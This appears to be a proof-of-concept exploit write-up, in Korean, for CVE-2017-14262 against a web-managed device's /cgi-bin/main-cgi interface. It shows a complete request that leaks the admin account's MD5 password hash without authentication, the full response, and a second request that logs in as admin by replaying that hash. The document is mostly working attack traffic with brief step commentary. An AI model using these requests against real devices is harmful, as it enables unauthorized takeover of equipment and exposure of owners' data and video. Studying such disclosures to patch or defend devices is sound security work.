zzz66686/cve-2017-14262
전송:
GET http://192.168.1.14/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0} HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
수신:
HTTP/1.1 200 OK
Content-Type: text/html;CHARset=utf-8
{
"szUserName": "",
"szLoginPasswd": "e10adc3949ba59abbe56e057f20f883e",
"au32LoginPasswd": [13423221, 5515125, 6390751, 4733341, 12838108, 13423221, 5515125, 6390751, 10132668, 371291, 12838108, 13423221, 5515125, 10132668, 371291, 13423221, 10132668, 371291, 0, 0],
"u16UserPermissionCnt": 1,
"u8UserRole": 0,
"u8UserBasePermission": 255,
"u16UserExtralPermissionCnt": 1,
"u32UserLivePermission": [4294967295],
"u32UserPTZPermission": [4294967295],
"u32UserVODPermission": [4294967295],
"u32UserRecordPermission": [4294967295],
"u32UserLocalBackup": [4294967295],
"code": 0,
"success": true
}
"szLoginPasswd": "e10adc3949ba59abbe56e057f20f883e" 는 'admin' 계정의 MD5 해시 비밀번호입니다.
이제 MD5 해시 비밀번호를 확보했습니다.
전송:
POST http://192.168.1.100/cgi-bin/main-cgi HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://192.168.1.100/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 246
DNT: 1
Host: 192.168.1.100
Pragma: no-cache
lLan=0&szUserName=admin&szUserPasswd=e10adc3949ba59abbe56e057f20f883e&szUserPasswdEx=%5B6477625%2C24215867%2C12838108%2C11382568%2C7503741%2C7198498%2C24215867%2C7503741%2C7198498%2C23345327%2C7198498%2C10192199%2C23345327%2C7198498%2C10192199%5D
szUserPasswd=e10adc3949ba59abbe56e057f20f883e 는 첫 번째 단계에서 읽은 MD5 해시 비밀번호입니다.
이제 'admin' 계정으로 장치에 로그인합니다.
